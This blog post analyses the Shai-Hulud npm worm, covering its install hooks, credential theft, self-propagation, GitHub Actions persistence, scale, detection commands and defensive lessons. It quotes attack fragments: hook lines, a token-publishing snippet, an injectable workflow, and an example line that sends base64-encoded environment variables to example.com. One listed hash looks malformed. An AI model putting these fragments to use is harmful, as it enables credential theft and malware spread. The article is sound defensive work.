By using this site, you agree to the Privacy Policy and Terms of Use.
Accept

AceFortis

Cybersecurity Research

  • Home
Search

Categories

  • Cybersecurity
  • Penetration Testing
  • Frameworks & Theory
  • CVE & Vulnerabilities
  • Hacking Tutorials
  • Tools & Reviews
  • CTF
  • Certifications

Tools & Platforms

  • TryHackMe vs HackTheBox: A Beginner’s Comparison
  • Burp Suite vs OWASP ZAP: Complete Pentesting Comparison
  • Kali vs Parrot OS: Best Pentesting Distro 2026 Comparison
  • Metasploit vs Cobalt Strike: Features, Pricing, Evasion
  • Nmap Network Scanning Tutorial for Beginners (2026)
  • Contact
  • Blog
  • Complaint
  • Advertise
© 2026 AceFortis. All Rights Reserved.
Reading: Shai-Hulud: The npm Worm That Compromised 800+ Packages
Share
Notification Show More
Font ResizerAa

AceFortis

Cybersecurity Research

Font ResizerAa
Search
Follow US
  • Contact
  • Blog
  • Complaint
  • Advertise
© 2026 AceFortis. All Rights Reserved.
Uncategorized

Shai-Hulud: The npm Worm That Compromised 800+ Packages

0x1ak4sh
Last updated: August 8, 2026 12:30 am
0x1ak4sh
Share
SHARE

The Shai-Hulud npm Worm: How a Self-Propagating Attack Compromised 800+ Packages

What happens when malware learns to copy itself across an entire ecosystem.

Contents
What Was Shai-Hulud?How the Self-Propagation WorkedPhase 1: Initial CompromisePhase 2: The Post-Install HookPhase 3: Credential HarvestingPhase 4: Self-PropagationTechnical Breakdown of the AttackThe Payload StructureRuntime SelectionExfiltration MechanismPersistence via GitHub ActionsThe “Destroy Everything” FallbackPackages Affected and ScaleSeptember 2025 WaveNovember 2025 WaveFull ScopeHow to Detect If You Were AffectedCheck Your npm DependenciesSearch for Malicious FilesCheck Your GitHub AccountSearch for TruffleHog ExecutionNetwork IndicatorsFile Hash IndicatorsSupply Chain Security Lessons1. Lifecycle Scripts Are a Liability2. Pin Your Dependencies3. Rotation Is Not Optional4. MFA Doesn’t Help Stolen Tokens5. Runtime Security Matters6. AI Is Now Part of the Threat7. Supply Chain Attacks Are Exponential8. CI/CD Hygiene Is CriticalThe Bigger PictureConclusion

So here’s the thing about supply chain attacks. Most of them are hit-and-run. Someone typosquats a popular package, maybe steals some credentials, moves on. But Shai-Hulud? Shai-Hulud was different. It was a worm. And not just any worm—a self-replicating monster that spread itself across the npm registry like a virus.

Let’s grab a coffee and talk about what happened, how it worked, and what we can learn from it.

What Was Shai-Hulud?

Named after the sandworms from Frank Herbert’s Dune, Shai-Hulud first appeared in September 2025. A security engineer named Daniel Pereira discovered it on September 15th when he noticed something weird: package versions that shouldn’t exist, with post-install scripts doing things they shouldn’t do.

By the time researchers caught up, over 200 packages were already compromised. Then came November 2025—dubbed “Shai-Hulud 2.0: The Second Coming”—and the scale exploded. 796 unique npm packages were backdoored. Over 20 million weekly downloads. More than 25,000 malicious GitHub repositories created across roughly 350 unique users.

This wasn’t just another supply chain incident. This was a masterclass in automated propagation.


How the Self-Propagation Worked

Here’s where it gets interesting. Shai-Hulud didn’t need a command-and-control server to spread. It didn’t need manual intervention from the attacker. It just needed one compromised maintainer’s credentials.

Let’s break down the mechanism.

Phase 1: Initial Compromise

The attack likely started with a phishing campaign. Developers received emails spoofing npm, asking them to “update their MFA settings.” Classic credential harvesting. Once someone clicked through and entered their npm token, the attackers had what they needed.

But here’s the clever part: they didn’t just steal the token and run. They deployed a worm payload.

Phase 2: The Post-Install Hook

Both versions of Shai-Hulud used npm’s lifecycle scripts—specifically the postinstall (September) and preinstall (November) hooks.

"scripts": {
  "postinstall": "node bundle.js"
}

Or in version 2.0:

"scripts": {
  "preinstall": "node setup_bun.js && node bun_environment.js"
}

Every time someone installed an infected package, the script executed. No user interaction required. No “are you sure?” prompts. Just automatic execution during the build process.

The November version was particularly nasty. By using preinstall instead of postinstall, it:

  • Eliminated human interaction entirely—even build servers running CI/CD would execute it
  • Bypassed static scanners that inspect code during later stages
  • Executed before the package was fully installed, making detection harder

Phase 3: Credential Harvesting

Once running, the worm went hunting. It searched the local filesystem for:

  • .npmrc files containing npm authentication tokens
  • GitHub Personal Access Tokens (ghp_* and gho_* prefixes)
  • AWS credentials and configuration
  • Google Cloud Platform credentials
  • Azure credentials
  • SSH keys
  • Environment variables containing secrets

It also downloaded TruffleHog—a legitimate open-source tool for secret detection—and used it to scan for high-entropy strings and hidden credentials.

trufflehog filesystem . --json --results=verified

Smart move by the attackers. Using a real security tool blended the activity into normal developer workflows.

Phase 4: Self-Propagation

Here’s where Shai-Hulud earned its name.

If the worm found valid npm credentials in .npmrc files, it would:

  1. Query the npm registry for all packages maintained by that account
  2. Sort packages by popularity—targeting high-download packages first
  3. Download each package’s source code
  4. Inject the malicious payload into package.json and add the worm’s JavaScript files
  5. Publish a new “patch” version to npm
async updatePackage(pkg) {
  // Patch package.json and publish
  await exec(`npm version patch --force && npm publish --access public --token ${token}`);
}

Each compromised package became a new infection vector. Each installation spread the worm further. It was exponential.

The November version upped the game by propagating to up to 100 packages per infected maintainer.


Technical Breakdown of the Attack

Let’s get technical.

The Payload Structure

September 2025 (v1):
– bundle.js — Main malicious script
– SHA-256: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

November 2025 (v2):
– setup_bun.js — Disguised as a Bun JavaScript runtime installer
– bun_environment.js — Obfuscated payload (10MB+), heavily obfuscated
– Multiple SHA-256 variants identified across packages

The v2 payload used extreme obfuscation and forked itself into a detached background process, allowing the original installation to complete normally. Users saw nothing wrong—their packages installed successfully—while the malware ran silently in the background.

Runtime Selection

The November version installed the Bun runtime instead of using Node.js. Why?

  • Evade standard monitoring: Most security tools are tuned for Node.js execution patterns
  • Faster execution: Bun is significantly faster, allowing rapid credential harvesting
  • Lower detection rates: Security products hadn’t adapted to Bun-based malware

Exfiltration Mechanism

Stolen credentials weren’t sent to some obscure server in Eastern Europe. They were uploaded to public GitHub repositories.

The worm would:
1. Create a new repository named “Shai-Hulud” (or with description “Sha1-Hulud: The Second Coming.”)
2. Upload credentials as base64-encoded JSON files
3. Make the repository public

Yes, public. Your AWS keys, npm tokens, and GitHub PATs—exposed to the entire internet.

Even wilder: if the worm couldn’t find credentials locally, it would search GitHub for other Shai-Hulud repositories and try to use stolen credentials from other victims. A distributed credential marketplace built into the malware itself.

Persistence via GitHub Actions

The November version added a clever persistence mechanism. It:

  1. Installed a self-hosted GitHub Actions runner on the compromised machine
  2. Created a malicious workflow file: .github/workflows/discussion.yaml
  3. Configured the workflow to execute arbitrary code when a GitHub discussion was opened
name: Discussion Create
on:
  discussion:
jobs:
  process:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

The attacker could run commands by simply opening a discussion with code like:

Hello this is a test $(curl example.com/steal-credentials -d creds=`env | base64`)

Command injection through GitHub’s own infrastructure. Brilliant and terrifying.

The “Destroy Everything” Fallback

Here’s the part that should scare you. If the November worm couldn’t find credentials, couldn’t exfiltrate data, and couldn’t propagate? It would attempt to delete the user’s home directory.

Not just delete—securely overwrite and delete every writable file owned by the current user. Punishment for not having valuable credentials to steal. The attackers escalated from espionage to sabotage.


Packages Affected and Scale

The scale was staggering.

September 2025 Wave

Notable packages compromised:

  • @ctrl/tinycolor — 4.2M weekly downloads (color manipulation library)
  • @ctrl/deluge, @ctrl/qbittorrent, @ctrl/transmission — popular torrent client libraries
  • ngx-bootstrap — Angular UI components
  • ngx-toastr — toast notifications for Angular
  • Packages from CrowdStrike, NativeScript, and Teselagen ecosystems

Over 200 packages confirmed in the first 24 hours.

November 2025 Wave

The second wave was much larger:

  • size-sensor — 4.2M downloads/month
  • echarts-for-react — 3.8M downloads/month
  • Over 250 @antv scoped packages — visualization libraries
  • timeago.js — 1.15M downloads/month
  • jest-canvas-mock, jest-electron — testing libraries

796 unique packages totaling 20+ million weekly downloads.

Full Scope

The attack affected:

  • ~800 npm packages (combining both waves)
  • 25,000+ GitHub repositories created as exfiltration drops
  • 500+ unique GitHub users whose credentials were stolen
  • 150+ GitHub organizations compromised

How to Detect If You Were Affected

Think you might have been hit? Here’s how to check.

Check Your npm Dependencies

# Check for known compromised versions
npm ls @ctrl/tinycolor
npm ls size-sensor
npm ls echarts-for-react

# For the full list, check:
# https://github.com/DataDog/indicators-of-compromise/tree/main/shai-hulud-2.0

Search for Malicious Files

# Search for the known malicious bundle.js by hash
find . -type f -name "*.js" -exec sha256sum {} \; | \
  grep "46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09"

# Search for suspicious large files named bun_environment.js
find . -type f -name "bun_environment.js" -size +9M

# Search for setup_bun.js in unexpected places
find . -name "setup_bun.js" -not -path "*/node_modules/bun/*"

Check Your GitHub Account

  1. Look for repositories you didn’t create, especially:
  2. Repositories named “Shai-Hulud”
  3. Repositories with description “Sha1-Hulud: The Second Coming.”
  4. Repositories ending in “-migration”

  5. Check your workflow files:

  6. Look for .github/workflows/discussion.yaml
  7. Audit any self-hosted runners registered to your account

  8. Review recent activity:

  9. Check for unauthorized commits
  10. Look for PAT usage in security logs

Search for TruffleHog Execution

If TruffleHog was downloaded and run without your knowledge:

# Check command history for suspicious trufflehog calls
history | grep trufflehog

# On macOS/Linux, check process execution logs
ps aux | grep trufflehog

Network Indicators

Watch for connections to:

  • webhook.site domains (used for data exfiltration)
  • Specifically: webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

File Hash Indicators

Known malicious SHA-256 hashes to search for:

46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09  (bundle.js)
62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0  (bun_environment.js)
f099c5d9ec417d4445a0328an0ada9cde79fc37410914103ae9c609cbc0ee068  (bun_environment.js)
a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a  (setup_bun.js)

Supply Chain Security Lessons

Shai-Hulud changed the game. Here’s what we learned.

1. Lifecycle Scripts Are a Liability

npm’s postinstall, preinstall, and similar hooks are a massive attack surface. Every package with these scripts is essentially asking to run arbitrary code on your machine.

What to do:
– Use npm install --ignore-scripts in CI/CD environments
– Enable npm config set ignore-scripts true globally for production
– Audit every package that uses lifecycle scripts before adding it

2. Pin Your Dependencies

Using ^ or ~ in your dependency versions? Every npm install could pull a new, potentially malicious version.

What to do:
– Pin exact versions: "some-package": "4.1.0" (no ^ or ~)
– Commit package-lock.json to version control
– Use lockfile linting to prevent unpinned dependencies

3. Rotation Is Not Optional

If you even suspect credentials were exposed, rotate them. The attackers were fast—the window between credential theft and active abuse was measured in hours, not days.

What to do:
– Rotate all npm tokens immediately (they can’t be revoked, only replaced)
– Rotate GitHub Personal Access Tokens
– Rotate cloud credentials (AWS, GCP, Azure)
– Assume any secret on a developer machine is compromised

4. MFA Doesn’t Help Stolen Tokens

The initial phishing attack targeted MFA settings. But once you have a valid npm token or GitHub PAT, MFA is irrelevant. Tokens bypass MFA entirely.

What to do:
– Use short-lived tokens (GitHub’s fine-grained PATs with expiration)
– Scope tokens to minimal permissions
– Monitor token usage in security logs

5. Runtime Security Matters

Static analysis didn’t catch Shai-Hulud. The malicious code was either too obfuscated or executed at runtime during install.

What to do:
– Deploy runtime security tools (Falco, Sysdig, CrowdStrike) that monitor process execution
– Alert on unexpected outbound connections from build processes
– Monitor for unexpected file creation in home directories

6. AI Is Now Part of the Threat

Unit 42 assessed with moderate confidence that LLM was used to generate parts of the malicious bash scripts. The code included comments and emojis—patterns consistent with AI-generated content.

What to do:
– Expect more sophisticated attacks faster
– Attackers are already iterating using AI—defenders need to adapt

7. Supply Chain Attacks Are Exponential

Traditional attacks compromise one target. Supply chain worms compromise everyone who depends on a target, and everyone who depends on them.

The math is brutal:
– 1 compromised maintainer
– → 100 packages updated with malware
– → 20 million weekly downloads
– → Thousands of developers infected
– → Each developer’s credentials used to compromise more packages

8. CI/CD Hygiene Is Critical

The November attack specifically targeted build servers by using preinstall instead of postinstall. CI/CD pipelines executed the malware automatically.

What to do:
– Run npm install in isolated containers
– Use dependency caching to avoid reinstalling on every build
– Scan dependencies before installation, not after


The Bigger Picture

Shai-Hulud followed on the heels of the s1ngularity/Nx attack in August 2025, which also stole credentials and exposed private repositories. The techniques are evolving. Each attack learns from the last.

The attackers behind Shai-Hulud demonstrated:

  • Operational maturity: Phishing, payload deployment, exfiltration, propagation—all automated
  • Ecosystem awareness: They understood npm, GitHub, CI/CD pipelines intimately
  • Adaptation: Version 2.0 fixed “issues” from version 1.0 (like needing C2 infrastructure)

And they left behind something disturbing: based on public sources, data from over 500 unique GitHub users was successfully exfiltrated. That’s 500 developers whose credentials are now in the wild. That’s 150 organizations dealing with potential breaches.


Conclusion

Shai-Hulud wasn’t just another npm malware. It was a proof of concept for a new class of supply chain attacks—worms that spread through the ecosystem itself, using the trust relationships we’ve built between maintainers and users.

The npm registry hosts millions of packages. Billions of weekly downloads. Every one of those downloads is an implicit trust decision. And Shai-Hulud proved that trust can be weaponized at scale.

Lock your dependencies. Rotate your tokens. Assume breach. Because in the world of software supply chains, a single compromised package isn’t just your problem—it’s everyone’s problem.


For a complete list of affected packages, see:
– https://github.com/DataDog/indicators-of-compromise/tree/main/shai-hulud-2.0
– https://www.reversinglabs.com/blog/shai-hulud-worm-npm

Stay safe out there.


References:
– Unit42 – “Shai-Hulud” Worm Compromises npm Ecosystem
– Sysdig – Shai-Hulud: The novel self-replicating worm
– Datadog Security Labs – The Shai-Hulud 2.0 npm worm: analysis
– ReversingLabs – Shai-hulud npm attack: What you need to know
– StepSecurity – Self-Replicating Worm Compromises 500+ NPM Packages

You Might Also Like

Top 5 Hackers: Impact, Techniques & Security Lessons
Zero Trust Architecture: The End of Trust As We Know It
Ubuntu vs Linux Mint 2026: Which Should You Use?
What is a Firewall? A Beginner’s Guide to Network Security
Linux Kernel & Package Manager Explained for Beginners

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
[mc4wp_form]
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Share This Article
Facebook Copy Link Print
Share
Previous Article ChainDrop: The npm Worm That Infected 444 Packages in 4 Hours
Next Article Wireshark for Network Analysis: A Practical Guide from the Trenches
Leave a Comment

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Latest News

Is Penetration Testing Dead in 2026? The Truth About the “Commoditization” Fear
CRTO Certification: Certified Red Team Operator
CRTP Certification: Windows Active Directory Pentesting
PNPT Certification: Practical Network Pentesting from TCM

You Might also Like

Impacket: The AD Attack Toolkit Every Pentester Needs

0x1ak4sh
0x1ak4sh
14 Min Read

Linux Kernel Copy Fail: The Most Researched CVE of 2026

0x1ak4sh
0x1ak4sh
15 Min Read
Uncategorized

Who Uses Linux? Developers, Governments & Hackers Explained

0x1ak4sh
0x1ak4sh
11 Min Read
//

Sharing knowledge that keeps the digital world a little safer.

Sign Up for Our Newsletter

Subscribe to our newsletter to get our newest articles instantly!

[mc4wp_form id=”1616″]

AceFortisAceFortis
Follow US
© 2026 AceFortis. All Rights Reserved.
Welcome Back!

Sign in to your account

Username or Email Address
Password

Lost your password?